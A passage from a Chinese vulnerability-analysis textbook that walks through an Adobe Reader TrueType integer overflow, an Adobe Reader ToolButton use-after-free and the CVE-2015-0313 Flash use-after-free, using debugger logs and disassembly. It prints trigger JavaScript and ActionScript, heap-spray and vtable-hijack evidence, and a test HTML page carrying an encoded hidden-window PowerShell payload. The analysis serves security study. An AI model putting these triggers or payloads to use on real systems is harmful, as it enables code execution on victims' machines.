中的PdfStreamDumper是最常用的分析工具，支持图形化界面、关键对象高亮、Exploit代码扫描、 JavaScript格式化、Shellcode分析等功能，功能强大且实用，如图4-12所示。 关于PDF分析工具的使 用，在后续章节都会详细讲到，这里不再赘述。 图4-11 常用PDF分析工具 182 漏洞战争：软件漏洞分析精要 图4-12 PDFStreamDumper分析工具 4.4.3 基于条件记录断点的漏洞分析方法 本次漏洞分析的测试环境如表4-4所示。 表4-4 测试环境 推荐使用的环境 备注 操作系统 Windows 7 实体机 简体中文旗舰版 调试器 Immunity Debugger 版本号：1.8.0 反汇编器 IDA Pro 版本号：6.1 漏洞软件 Adobe Reader 版本号：9.4.0 我们先用前面介绍的PDFStreamDumper工具分析poc.pdf，发现在对象5里面嵌有TrueType字体， 如图4-13所示。 图4-13 内嵌TrueType字体的PDF文件 第4章 整数溢出漏洞分析 183 对象5又间接引用对象6来描述字体，如图4-14所示。"},
    {"text": "图4-14 对象6引用包含字体文件的对象16 接下来，我们直接单击鼠标右键选中对象16，在弹出的菜单中选择“Save Decompressed Stream” 选项导出该字体文件，如图4-15所示，将其保存为文件名“decomp_stream_0x281.ttf”，打开TTF文 件后如图4-16所示，可见提取的TTF字体文件是正确的。 图4-15 提取PDF中的TTF字体文件 笔者在用TrueType Font Analyzer对decomp_stream_0x281.ttf字体文件进行分析时，当分析到glyf 表时程序提示“流读取错误”，初步猜测可能是PoC中的glyf表导致的漏洞，如图4-17所示，通过后 面的分析也证实确实是glyf表中的数据导致的漏洞，具体见后面的分析。 184 漏洞战争：软件漏洞分析精要 图4-16 TTF字体文件 图4-17 分析glyf表时异常 苹 果 官 网 上 的 TrueType 字 体 格 式 文 档 内 容 比 较 多 ， 我 们 主 要 关 注 与 本 漏 洞 相 关 的 内 容 （https://developer.apple.com/fonts/TTRefMan/RM06/Chap6glyf.html）。"},
    {"text": "TTF中的glyf表主要用于存放图元轮廓定义及网格调整指令， 其位置索引是一张单独的表，而图元数据表主要记录图元的索引号Index，每个图元的头结构如下： typedef struct { WORD numberOfContours; // 轮廓数目，复合图元时为负数 FWord xMin; // X 坐标最小值. FWord yMin; // Y 坐标最小值 FWord xMax; // X 坐标最大值 FWord yMax; // Y 坐标最大值 }GlyphHeader; 在头结构之后是一些关于图元的描述信息： USHORT endPtsOfContours[n]; // 轮廓线上点的数量，n 为轮线数 USHORT instructionlength; // 图元指令长度 BYTE instruction[i]; // 字体虚拟机指令数组 BYTE flags[]; // 标志数组 BYTE xCoordinates[]; // X 坐标数据 BYTE yCoordinates[]; // Y 坐标数据 第4章 整数溢出漏洞分析 185 poc.pdf里面含有多个图元，具体是由哪个图元中的哪个虚拟指令导致的漏洞，我们需要动态调 试跟踪下。"},
    {"text": "图4-18 触发异常 由于ecx指向的地址0x5f0fe000为只读权限，因此导致崩溃，如图4-19所示。 图4-19 只读权限导致程序无法继续执行下去 上面的崩溃点主要位于函数sub_5ee86dfe中（通过栈回溯很容易确认），我们暂且将其标记为 VulFunction，如图4-20所示（由于重载运行所以这里地址变为0x634D6DFE）。"},
    {"text": "图4-20 漏洞函数 显然这里是个函数数组，其中ecx就是虚拟指令索引号，用于查找对应虚拟指令的处理函数，其 中是4就代表每个函数地址占用4字节。 我们在这个函数上下条件记录断点，看造成崩溃时的ecx为何 值，进而确定造成漏洞的虚拟指令。"},
    {"text": "笔者采用先加载CoolType模块下断再运行Adobe阅读器的方式，开始前需要先确认 VulFunction相对CoolType基址的偏移量，通过按“Alt+E”组合键打开可执行模块窗口，找到CoolType 基址。"},
    {"text": "通过图4-21可以知道VulFunction函数相对CoolType基址的偏移量为0x50C16812-0x50C10000 = 0x6812（由于重新加载运行，所以这里VulFunction地址与前面不同）。"},
    {"text": "通过按“Alt+E”组合键找到CoolType基址为0x514D0000（如图4-22 所示），所以此时VulFunction地址为0x514D0000 + 0x6812 = 0x514D6812。 186 漏洞战争：软件漏洞分析精要 图4-21 计算VulFunction函数相对CoolType基址的偏移量 图4-22 CoolType基址 按“Ctrl+G”组合键，在弹出框内输入514D6812即可定位到VulFunction，如图4-23所示。"},
    {"text": "图4-23 VulFunction漏洞函数 通过按“Shift + F4”组合键对VulFunction下 条件记录断点，记录每次调用VulFunction时对应 的虚拟指令索引号，如图4-24所示。"},
    {"text": "图4-24 对VulFunction函数设置条件记录断点 第4章 整数溢出漏洞分析 187 图4-25 条件记录断点的输出日志 导致漏洞的虚拟指令索引号为0x26，通过苹果官方提供的指令集https://developer.apple.com/ fonts/ttrefman/RM05/Chap5.html，可以查到字节码0x26对应的虚拟指令为MINDEX，如图4-26所示。"},
    {"text": "MINDEX虚拟指令的主要功能是弹出栈值作为栈上的索引号（uint32类型），将索引到的元素值移至 栈顶（相对虚拟机环境中的栈顶而言，而非当前进程执行时的栈顶），原来在元素值上方的栈数据 则各自往后移动4字节。"},
    {"text": "188 漏洞战争：软件漏洞分析精要 图4-26 MINDEX虚拟指令 跟进MINDEX虚拟指令的处理函数，也就是崩溃点所在的函数可参考前面对VulFunction下断点 的方法对MINDEX处理函数下断。"},
    {"text": "50C17996 . A1 E023E450 MOV EAX,DWORD PTR DS:[50E423E0] ; 虚拟栈顶 vm_esp 50C1799B . 8B0D EC23E450 MOV ECX,DWORD PTR DS:[50E423EC] 50C179A1 . 53 PUSH EBX 50C179A2 . 56 PUSH ESI 50C179A3 . 8B31 MOV ESI,DWORD PTR DS:[ECX] ; 虚拟栈底 vm_ebp 50C179A5 . 8D50 FC LEA EDX,DWORD PTR DS:[EAX-4] ; vm_pop 出栈后的栈地址保存到 edx 50C179A8 . 3BD6 CMP EDX,ESI ; 判断 edx 是否 >= vm_ebp 50C179AA . 57 PUSH EDI 50C179AB . 72 45 JB SHORT CoolType.50C179F2 50C179AD . 8BB9 54010000 MOV EDI,DWORD PTR DS:[ECX+154] ; 判断栈顶是否大于栈边界 50C179B3 . 3BD7 CMP EDX,EDI 50C179B5 . 73 3B JNB SHORT CoolType.50C179F2 50C179B7 . 83C0 FC ADD EAX,-4 ; 虚拟出栈操作 vm_pop 50C179BA . 8B10 MOV EDX,DWORD PTR DS:[EAX] ; 获取栈索引号 index = 0x40000001 50C179BC . 8BDA MOV EBX,EDX 50C179BE . C1E3 02 SHL EBX,2 ; 逻辑左移 2 位，相当于无符 号运算 index * 4 导致整数溢出，反而变小得到 4 50C179C1 . 8BC8 MOV ECX,EAX ; ecx = 当前栈顶 50C179C3 . 2BCB SUB ECX,EBX ; ecx - 4 50C179C5 . 3BCE CMP ECX,ESI ; 由于前面整数溢出，导致这里绕过虚拟栈边界的检测 50C179C7 . 72 29 JB SHORT CoolType.50C179F2 50C179C9 . 3BCF CMP ECX,EDI 50C179CB . 73 25 JNB SHORT CoolType.50C179F2 第4章 整数溢出漏洞分析 189 50C179CD . 85D2 TEST EDX,EDX ; 判断 index 是否为 0 ，作为 计数器执行循环操作，此处值为 0x40000001 ，导致在后面移动栈数据时可以覆盖到很远的位置 50C179CF . 8B39 MOV EDI,DWORD PTR DS:[ECX] ; edi = stack[index] = 0x4141，保存取出的栈值 50C179D1 . 7E 0F JLE SHORT CoolType.50C179E2 50C179D3 > 4A DEC EDX ; 计数器递减 50C179D4 . 8D71 04 LEA ESI,DWORD PTR DS:[ECX+4] ; esi = ecx+4 ，向虚拟栈 顶方向递增索引 50C179D7 . 8B1E MOV EBX,DWORD PTR DS:[ESI] ; 栈值往后移 4 字节 50C179D9 . 8919 MOV DWORD PTR DS:[ECX],EBX ; 崩溃点，当移动数据时碰到 不可写的位置就会触发异常，若覆盖到重要数据（如虚表指针等）就可能达到任意代码执行 50C179DB . 8BCE MOV ECX,ESI ; 栈地址往后移 4 字节 50C179DD .^75 F4 JNZ SHORT CoolType.50C179D3 ; 循环将栈元素往后移，以弥 补弹出的栈值的位置 50C179DF . 83E8 04 SUB EAX,4 50C179E2 > 8938 MOV DWORD PTR DS:[EAX],EDI 50C179E4 . 83C0 04 ADD EAX,4 50C179E7 . A3 E023E450 MOV DWORD PTR DS:[50E423E0],EAX 50C179EC . 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 50C179F0 . EB 0F JMP SHORT CoolType.50C17A01 50C179F2 > A1 3824E450 MOV EAX,DWORD PTR DS:[50E42438] 50C179F7 . C705 3424E450 101>MOV DWORD PTR DS:[50E42434],1110 50C17A01 > 5F POP EDI 50C17A02 . 5E POP ESI 50C17A03 . 5B POP EBX 50C17A04 . C3 RETN 造成整数溢出的关键点就在于0x40000001这个值，它完全是由虚拟指令操作实现的。"},
    {"text": "为了动态追踪每个虚拟指令实际执行的操作，我们需要在执行过程中记录执行前后的虚拟栈顶 vm_esp的值及虚拟指令。 此处以“B0 01”虚拟指令为例，它将1压入vm_esp，我们跟进PUSHB(B0)虚 拟指令处理函数，看被压入的1在哪个位置，该位置就是vm_esp。"},
    {"text": "首先，在VulFunction所在函数里面对指 向虚拟指令的ecx下条件断点，按“Shift+F2”组合键在输入框中输入“ecx == 0xB0”，如图4-27所示。 图4-27 设置条件断点 190 漏洞战争：软件漏洞分析精要 运行后断下，单步跟进VulFunction函数，也就是PUSHB对应的虚拟指令处理函数。 然后单步调 试下去，函数返回前会发现此时 vm_esp = [[6A1E23E0]-4] = 0x01，如图4-28所示。 图4-28 调试后得到vm_esp = 0x01 现在回到VulFunction所在函数，调用VulFunction并在其前后位置设置条件记录断点，以记录虚 拟指令前后的栈顶数据，设置情况如图4-29与图4-30所示。 第4章 整数溢出漏洞分析 191 图4-29 设置条件记录断点来记录虚拟栈顶vm_esp的数据情况 图4-30 设置条件记录断点来记录vm_esp-4的数据情况 192 漏洞战争：软件漏洞分析精要 执行后在日志窗口得到以下信息（只截取最后一部分执行记录）： ……省略部分内容…… 69FB6810 COND: 执行前[vm_esp-4] = 00000000 69FB6811 COND: 执行前[vm_esp] = 00000001 69FB6812 COND: 虚拟指令索引号 = 42 # WS 指令，将 1 写入临时存储空间 69FB6819 COND: 执行后[vm_esp] = 00000000 69FB681A COND: 执行后[vm_esp-4] = FFFFFFE8 69FB681B COND: ========================================= 69FB6810 COND: 执行前[vm_esp-4] = FFFFFFE8 69FB6811 COND: 执行前[vm_esp] = 00000000 69FB6812 COND: 虚拟指令索引号 = 43 # RS 指令，从临时存储空间读取数据 1，并压入栈顶 69FB6819 COND: 执行后[vm_esp] = 00000001 69FB681A COND: 执行后[vm_esp-4] = FFFFFFE8 69FB681B COND: ========================================= 69FB6810 COND: 执行前[vm_esp-4] = FFFFFFE8 69FB6811 COND: 执行前[vm_esp] = 00000001 69FB6812 COND: 虚拟指令索引号 = 78 # JROT 跳转指令，循环执行以下递增 0xFFFC00 的操作 69FB6819 COND: 执行后[vm_esp] = 3EFF0403 69FB681A COND: 执行后[vm_esp-4] = 00004141 69FB681B COND: ========================================= 69FB6810 COND: 执行前[vm_esp-4] = 00004141 69FB6811 COND: 执行前[vm_esp] = 3EFF0403 69FB6812 COND: 虚拟指令索引号 = 41 # NPUSHW 指令 69FB6819 COND: 执行后[vm_esp] = 00007FFF 69FB681A COND: 执行后[vm_esp-4] = 00007FFF 69FB681B COND: ========================================= 69FB6810 COND: 执行前[vm_esp-4] = 00007FFF 69FB6811 COND: 执行前[vm_esp] = 00007FFF 69FB6812 COND: 虚拟指令索引号 = 63 # MUL 指令，(0x7FFF*0x7FFF)/0x40=0xFFFC00 69FB6819 COND: 执行后[vm_esp] = 00FFFC00 69FB681A COND: 执行后[vm_esp-4] = 3EFF0403"},
    {"text": "index = \"ntdll\"; ) = 0x7c900000; 再回头看前面从PDF样本中提取出来的JavaScript代码，去掉heap spray等漏洞利用相关代码，很 容易发现其中用于触发漏洞的关键代码是下面一段： app.addToolButton({ cName: \"evil\", cExec: \"1\", cEnable: \"addButtonFunc();\" // 创建父 ToolButton 对象，并设置回调函数 }); addButtonFunc = function() { // 创建子 ToolButton 对象 app.addToolButton({cName: \"xxx\", cExec: \"1\", cEnable: \"removeButtonFunc();\"}); } removeButtonFunc = function() { app.removeToolButton({cName: \"evil\"}); // 删除父 ToolButton 对象 for (i=0;i < 10;i++) arr[i] = part1.concat(part2); // 填充 0x41414141 与 ROP 地址 } 从这段代码可以了解到UAF漏洞的触发意思，它主要执行以下动作。"},
    {"text": "由于父ToolButton对象已被释放，但子ToolButton对象依然保留着对父ToolButton对象的引用， 最终导致UAF漏洞的发生。 7.5.3 漏洞利用 利用UAF漏洞前需要知道被释放的ToolButton对象的大小，然后再用同等大小的内存块填充。"},
    {"text": "11 > Adobe版本号≥10：0x37c Adobe 版本号≥11：0x370 if (app.viewerVersion >= 10 && app.viewerVersion < 11) { obj_size = 0x360 + 0x1c; …… } else if (app.viewerVersion >= 11) { …… obj_size = 0x370; …… } 先用WinDbg附加Adobe Reader进程，打开PDF样本后崩溃，根据程序崩溃时的调试信息，也可 以获知当前测试环境中的ToolButton对象大小为0x370（Adobe Reader版本号：11.0.0）。"},
    {"text": "(1468.788): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c08a8 ebx=00000001 ecx=05c2c220 edx=20702ee3 esi=05c2c220 edi=00000000 eip=4a82f129 esp=0013e04c ebp=0013e070 iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213 4a82f129 ?? ??? *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\\Program Files\\Adobe\\Reader 11.0\\Reader\\AcroRd32.dll - 0:000> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0013e048 5a92e85d a85c1fc1 00000001 05c2c220 0x4a82f129 0013e070 5a92e0d2 00000000 05c2c220 00000000 AcroRd32_5a790000!DllCanUnloadNow+0x150536 第7章 释放重引用漏洞分析 339 0013e094 5a92f3e3 0013e0e8 5a92d996 5a92f409 …… 0:000> ub AcroRd32_5a790000!DllCanUnloadNow+0x150536 AcroRd32_5a790000!DllCanUnloadNow+0x150518: 5a92e83f 897dfc mov dword ptr [ebp-4],edi 5a92e842 ff96d0020000 call dword ptr [esi+2D0h] 5a92e848 0fb7d8 movzx ebx,ax 5a92e84b 8b06 mov eax,dword ptr [esi] 0:000> !heap -p -a esi address 0645f3a8 found in _HEAP @ 2c70000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0645f3a0 0071 0000 [00] 0645f3a8 00370 - (busy) ====================================================== 5a92e84d 59 pop ecx 5a92e84e 8bce mov ecx,esi 5a92e850 66899ecc020000 mov word ptr [esi+2CCh],bx 5a92e857 ff9064030000 call dword ptr [eax+364h] 0:000> dd eax 0c0c08a8 4a848003 4a848003 4a848003 4a848003 0c0c08b8 4a848003 4a848003 4a848003 4a848003 0c0c08c8 4a848003 4a848003 4a848003 4a848003 0c0c08d8 4a848003 4a848003 4a848003 4a848003 0c0c08e8 4a848003 4a848003 4a848003 4a848003 0c0c08f8 4a848003 4a848003 4a848003 4a848003 0c0c0908 4a848003 4a848003 4a848003 4a848003 0c0c0918 4a848003 4a848003 4a848003 4a848003 0:000> dd esi // esi = 虚表指针 0645f3a8 0c0c08a8 41414141 41414141 41414141 0645f3b8 41414141 41414141 41414141 41414141 0645f3c8 41414141 41414141 41414141 41414141 0645f3d8 41414141 41414141 41414141 41414141 0645f3e8 41414141 41414141 41414141 41414141 0645f3f8 41414141 41414141 41414141 41414141 0645f408 41414141 41414141 41414141 41414141 0645f418 41414141 41414141 41414141 41414141 从此处可以看出虚表指针已经被控制，PDF样本用0x0c0c08a8增覆盖虚表指针，然后通过Heap Spray技术将ROP地址喷射到堆上，以覆盖到0x0c0c08a8地址，从而完全控制程序的执行流程。"},
    {"text": "340 漏洞战争：软件漏洞分析精要 7.6 CVE-2015-0313 Adobe Flash Player Workers ByteArray UAF漏洞 7.6.1 漏洞描述 2015年2月，趋势科技公司曝光了一个Adobe Flash 0day被外部恶意利用的信息，访问利用该漏 洞的站点会自动下载恶意软件，弹出恶意广告等。"},
    {"text": "当时，Adobe官方还未提供修复补丁，并且在Angler Exploit Kit恶意工具包中已经提供了利用程序，针对Windows上的IE、Firefox等浏览器发起攻击，影 响范围甚广。"},
    {"text": "表7-5 测试环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 简体中文家庭普通版 漏洞软件 Adobe Flash Player 版本号：16.0.0.296 ActiveX 控件（非调试版） 浏览器 Internet Explorer 版本号：8.0.7601.17514 调试器 WinDbg 版本号：6.1.0001.404 反汇编器 IDA Pro 版本号：6.6 笔者使用Metasploit中的漏洞利用模块尝试触发漏洞，关于利用Fiddler提取Metaploit模块代码的 方法在前面章节中已经讲过，此处不再赘述。"},
    {"text": "本例测试用的HTML代码如下，在其中嵌入用于触发漏洞的rKNrw.swf文件，然后向SWF传递包 含Shellcode的sh变量： <html> <body> <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase= \"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" /> <param name=\"movie\" value=\" rKNrw.swf \" /> <param name=\"allowScriptAccess\" value=\"always\" /> <param name=\"FlashVars\" 第7章 释放重引用漏洞分析 341 value=\" sh =cG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgaWYoW0ludFB0cl06OlNpemUgLWVxIDQpe yRiPSdwb3dlcnNoZWxsLmV4ZSd9ZWxzZXskYj0kZW52OndpbmRpcisnXHN5c3dvdzY0XFdpbmRvd3NQb3dlclNoZ ……省略部分内容…… Rvdz0kdHJ1ZTskcD1bU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3NdOjpTdGFydCgkcyk7\" /> <param name=\"Play\" value=\"true\" /> <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"rKNrw.swf\" allowScriptAccess=\"always\" FlashVars=\"sh=cG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgaWYoW0ludFB0cl06OlNpemUgLWVx… ……省略部分内容…… skcy5DcmVhdGVOb1dpbmRvdz0kdHJ1ZTskcD1bU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3NdOjpTdGFydCgkc yk7\" Play=\"true\"/> </object> </body> </html> 用IE打开上述HTML页面后直接成功弹出计算器，如图7-34所示。 图7-34 利用漏洞成功弹出计算器 庆幸的是，Metasploit也提供rKNrw.swf文件的as源码，在开始分析源码前，我们先科普几个 ActiveScript编程的概念，具体还可以参考Adobe官方提供的ActiveScript 3.0 参考文档。"},
    {"text": "● Vector：用于存储相同数据类型的索引数组，它与Array类的不同之处在于，Array可用于存储各 342 漏洞战争：软件漏洞分析精要 种不同数据类型的数据。"},
    {"text": "● Worker：代表Flash运行时的虚拟实例，每个Worker都独立于其他Worker，在独立的线程中执行 自己的代码，相当于用Worker实现多线程的并行工作，以提升执行效率。"},
    {"text": "可共享ByteArray：如果ByteArray对象的shareable属性为true，则所有Worker中该ByteArray 的实 例都使用相同的底层内存，也用于实现Worker实例之间的通信。 共享属性：每个Worker都有可以从该Worker自身及其他Worker设置和读取的一组内部命名值。"},
    {"text": "接下来分析样本的反编译代码，抛开其中明显用于利用漏洞的几个函数（漏洞利用部分在后面 章节中会具体分析），得到以下用于触发漏洞的关键代码： package { import flash.display.Sprite import flash.events.Event import flash.utils.ByteArray import flash.system.Worker import flash.system.WorkerDomain import flash.system.MessageChannel import flash.system.ApplicationDomain import avm2.intrinsics.memory.casi32 public class Main extends Sprite { private var uv:Vector.<uint> private var ba:ByteArray = new ByteArray() public var worker:Worker public var mc:MessageChannel public function Main() { if (Worker.current.isPrimordial) mainThread() // 在构造函数中判断是否为主线程 else workerThread() // 后台 Worker 线程 } 第7章 释放重引用漏洞分析 343 private function mainThread():void { ba.shareable = true ba.length = 0x1000 worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) // 创建后台 worker mc = worker.createMessageChannel(Worker.current) mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) // 设置事件监听函数 onMessage worker.setSharedProperty(\"mc\", mc) worker.setSharedProperty(\"ba\", ba) ApplicationDomain.currentDomain.domainMemory = ba // 将可分享的 ByteArray 对象 设置为全局可用 worker.start() } private function workerThread():void { var ba:ByteArray = Worker.current.getSharedProperty(\"ba\") var mc:MessageChannel = Worker.current.getSharedProperty(\"mc\") ba.clear() // 清除共享内存 ByteArray uv = new Vector.<uint>(1022) // 每个 uint vector 长度为 1022，大小为 1022*4+8=0x1000， 与 ba 大小相同 mc.send(\"CVE-2015-0313\") // 发送消息给主线程 } private function onMessage(e:Event):void { casi32(0, 1022, 0xFFFFFFFF) // 比较并交换 domainMemory+0x0 地址的变量值，将位于 ByteArray[0]的 1022 值设置为 0xFFFFFFFF } } } 根据前面的科普和代码注释，基本可以理解用于触发漏洞的代码流程。"},
    {"text": "（2） 在主线程与 Worker 线程之间共享 ByteArray 数据，并将 ByteArray 设置为 domainMemory 全局可用。 （3） 在 Worker 线程中清除共享内存 ByteArray，但 domainMemory 依然可以访问 ByteArray。"},
    {"text": "（4） Worker 线程发送消息给主线程，在主线程的监听函数 onMessage 中调用 casi32 比较并交换 domainMemory+0x0 地址的变量值，使得 domainMemory 引用已释放的 ByteArray，从而造成 UAF 漏洞。"},
    {"text": "344 漏洞战争：软件漏洞分析精要 由于Adobe Flash Player没有符号表，直接在调试器中定位ByteArray与domainMemory内存相对比 较复杂，因此可以先从ActiveScript虚拟机（AVM）开源项目avmplus源码分析，这也是Adobe所使用 的AVM。 Avmplus源码下载地址：https://github.com/adobe-flash/avmplus，同时笔者推荐使用Source Insight 分析源码，其源码视图效果很好，且支持自动索引相应的变量/类/函数的定义，分析起来更加高效， 但它是个收费软件。 下完avmplus源码后，打开Source Insight，单击“Project”→“New Project”选项，在弹出的对 话框中输入项目名称和项目数据文件的保存路径，如图7-35所示。"},
    {"text": "图7-35 创建新项目 单击“OK”按钮后，接着设置源码路径，如图7-36所示。 图7-36 设置源码路径 设置好路径后单击“OK”按钮，弹出“Add and Remove Project Files”对话框，单击“Add All” 按钮添加所有源码文件，并在后面弹出的确认框中依次单击“OK”→“确定”按钮，最后在“Project 第7章 释放重引用漏洞分析 345 Files”文本框中显示添加的源码文件列表，如图7-37所示，最后单击“Close”按钮完成。 图7-37 添加项目源代码 接下来，在Source Insight主界面的右边可以看到各个源码文件，还支持关键字搜索功能，双击 相应文件，即可查源码，如图7-38所示。"},
    {"text": "图7-38 Source Insight 主界面 346 漏洞战争：软件漏洞分析精要 在右窗口搜索“ByteArray”，发现只有一个相应的CPP源文件：/core/ByteArrayGlue.cpp，如图 7-39所示。"},
    {"text": "图7-39 搜索ByteArray相关源文件 在里面找到清除ByteArray内存的函数ByteArray::Clear，该函数对于可分享的ByteArray会调用 ByteArrayClearTask类方法run，在run函数里面会调用UnprotectClear函数，如图7-40所示。 图7-40 ByteArray::Clear函数 接下来，分析UnprotectedClear函数，它会对ByteArray Buffer中的array、capacity和length进行置 零清空，从自动索引到ByteArray类定义也可以看出，ByteArray并不是直接指向缓冲区数据的，而是 通过Buffer类中的array成员指针定位内存数据，Buffer对象开头即为ByteArray内存数据的缓冲区地址 array、最大容量capacity和内存长度length，如图7-41所示。 第7章 释放重引用漏洞分析 347 图7-41 UnprotectedClear函数 我们来看下ByteArray类中的几处关键变量的定义，关键代码如下： class ByteArray : public DataInput, public DataOutput { …… class Buffer : public FixedHeapRCObject { public: virtual void destroy(); virtual ~Buffer(); uint8_t* array; 348 漏洞战争：软件漏洞分析精要 uint32_t capacity; uint32_t length; }; …… private: Toplevel* const m_toplevel; MMgc::GC* const m_gc; WeakSubscriberList m_subscribers; MMgc::GCObject* m_copyOnWriteOwner; uint32_t m_position; FixedHeapRef<Buffer> m_buffer; bool m_isShareable; public: // FIXME permissions bool m_isLinkWrapper; }; 为方便理解，笔者画了张示意图，如图7-42所示，关键记住m_buffer的偏移及内部结构。 图7-42 ByteArray结构 接 下 来 ， 用 IDA 加 载 C:\\Windows\\System32\\Macromed\\Flash\\Flash32_16_0_0_296.ocx 以 定 位 UnprotectedClear函数，若从机器码搜索，则比较难定位到，因为它的特征也只有空参数和对array、 capacity和length清空的动作，先看下清空动作对应的伪汇编指令可能为： xor reg1,reg1 mov [reg2+i],reg1 mov [reg2+i+4],reg1 mov [reg2+i+8],reg1 （注：reg 为 32 位寄存器，i 为 4 的整数倍值） 由上可见，它在汇编指令操作上对于使用的寄存器也不确认，构造出来的机器码差异较大，而 且指令还可能是不连续的。 因此，笔者采用另一种搜索方式，先在IDA上按“Ctrl+F5”组合键反编 译出整个Flash控件，得到相应的C代码，然后搜索“ = 0;”（包括2个空格），若存在连续3个赋值 第7章 释放重引用漏洞分析 349 为0的代码则可能为UnprotectedClear函数。"},
    {"text": "图7-43 搜索到UnprotectedClear函数的C反编译代码 其 对 应 的 汇 编 指 令 如 图7-44所 示 ， 与 前面 提 到 的 特征 完 全 符合， 因 此 sub_1066A6E0正 是 UnprotectedClear函数，在该函数里面可以找到ByteArray引用到的缓冲区地址。"},
    {"text": "此时，若想知道ByteArray创建的缓 冲区m_buffer的相关信息，可以先计算出0x1066A743地址相对Flash模块基址的偏移量，然后下断点： 偏移量：0x1066A743 – 0x10000000（IDA 中的模块加载基址） = 0x66A743 下断点：bp Flash32_16_0_0_296 + 0x 66a743 图7-44 UnprotectedClear函数反汇编代码 350 漏洞战争：软件漏洞分析精要 接下来，按同样方法查找“domainMemory”，发现项目中的源文件名没有与之相匹配的，搜索 “domain”，找到4个相应CPP源码文件，如图7-45所示，根据各源文件中的函数名信息找到设置 byteArray 为 ApplicationDomain.currentDomain.domainMemory 全 局 内 存 属 性 的 相 关 源 码 文 件 /core/DomainEnv.cpp。 DomainEnv.cpp中的set_globalMemory就是设置byteArray为全局可访问内存的 函数，如图7-38所示，根据里面的注释可以发现该函数设置成功后会调用nofifyGlobalMemoryChanged 函数，如图7-46所示。 图7-45 搜索domain相关源文件名 图7-46 nofifyGlobalMemoryChanged函数 在notifyGlobalMemoryChanged函数里面可以发现m_globalMemoryBase和m_globalMemorySize的 值设置，即domainMemory的内存基址和大小。"},
    {"text": "如果要在IDA中定位notifyGlobalMemoryChanged函数的位置，可以搜索字符串“.mem.bytearray. 第7章 释放重引用漏洞分析 351 alchemy”，如图7-47所示，发现只有一处sub_1069C640引用。 图7-47 搜索字符串的引用 双击地址查看，发现sub_1069C640中刚好有比较和赋值7FFFFFFF的指令，它正是我们所要查找 的 notifyGlobalMemoryChanged 函 数 ， 因 此 将 其 所 在 函 数 sub_1069c640 重 命 名 为 notifyGlobalMemoryChanged，并将其arg_0和arg_4参数分别重命名为newBase和newSize，如图7-48所示。 图7-48 notifyGlobalMemoryChanged函数反汇编代码 此时，若想获取到domainMemory引用的全局内存m_globalMemory的基址和大小，可以先计算出 上面0x1069c659相对Flash模块基址的偏移量，然后对其下断： 偏移量：0x1069C659 - 0x10000000（IDA 加载模块的基址）= 0x69C659 下断点：bp Flash32_16_0_0_296 + 0x69C659 借 助 上 面 两 个 函 数 的 偏 移 量 ， 我 们 就 可 以 将 调 试 器 定 位 到 UnprotectedClear与notifyGlobal-MemoryChanged函数地址，然后在其入口地址下断点。 总结，UnprotectedClear与notifyGlobalMemoryChanged函数的搜索定位技巧如下。 （1） 定位 UnprotectedClear 函数：搜索机器码：89 58 10 89 5F 1C。 （2） 定位 notifyGlobalMemoryChanged 函数：搜索字符串“.mem.bytearray.alchemy”的引用函数。"},
    {"text": "由于首次打开IE进程是没有Flash模块的，因此可以用sxe命令，使得在加载Flash模块时先断下， 然后再设置断点，如图7-49所示。 图7-49 设置断点 352 漏洞战争：软件漏洞分析精要 打开利用页面后，程序先断在UnprotectedClear函数内部，确实可以看到ByteArray引用的内存 m_buffer基址、容量、大小情况，但会得到很多次断点，有些也不是我们需要的，因此笔者重新设置 如下条件断点，当m_buffer大小为0x1000时输出m_buffer情况，还有后面domainMemory引用的 globalMemory，并输出它的内存情况。 sxe ld Flash32_16_0_0_296 g bp Flash32_16_0_0_296 + 0x66a743 \".if(poi(@eax+0x10)==0x1000){ .echo ‘==== ByteArray Buffer ====’ ;dd eax+8}.else{gc}\" bp Flash32_16_0_0_296 + 0x69c659 \".echo ‘==== globalMemory ====’; dd esp+8;gc\" g 释 放 ByteArray 前 （ 即 调 用 ByteArray::Clear 前 ） 的 ByteArray Buffer 与 domainMemory 引 用 的 globalMemory内存情况分别如图7-50和图7-51所示，都是引用同一大小同一地址的内存。"},
    {"text": "图7-50 释放ByteArray前全局内存情况 图7-51 释放ByteArray前ByteArray缓冲区的情况 在释放ByteArray后，ByteArray缓冲区基址、容量和长度被清零，如图7-52所示，但全局内存依 然保持着去0x58e6000的引用，如图7-53所示成为悬挂指针，最后导致UAF漏洞的发生。"},
    {"text": "图7-52 释放ByteArray后ByteArray缓冲区的情况 第7章 释放重引用漏洞分析 353 图7-53 释放ByteArray后全局内存的情况 7.6.3 Flash JIT调试插件与符号文件 趋势科技公司的heisecode同学写过一个WinDbg插件DbgFlashVul，用于调试Flash JIT代码，下载 链接：http://vdisk.weibo.com/s/uAGaNxKsgN8na/1420788398，可以帮助定位AS方法对应的JIT代码， 也支持对AS3方法下断点，大大提升了分析效率。 在 使 用 DbgFlashVul 插 件 前 需 要 安 装 VS2010 ， 否 则 插 件 无 法 被 WinDbg 识 别 ， 将 下 载 的 DbgFlashVul.dll放置在WinDbg插件目录Plugins下，然后用!load加载即可，如图7-54所示。 图7-54 DbgFlashVul调试插件 使用它之前还需要先获得Flash模块基址，然后用!SetBaseAddress设置后，才可以追踪JIT调用方 法和下断点，如图7-55所示，执行效果如图7-56所示。"},
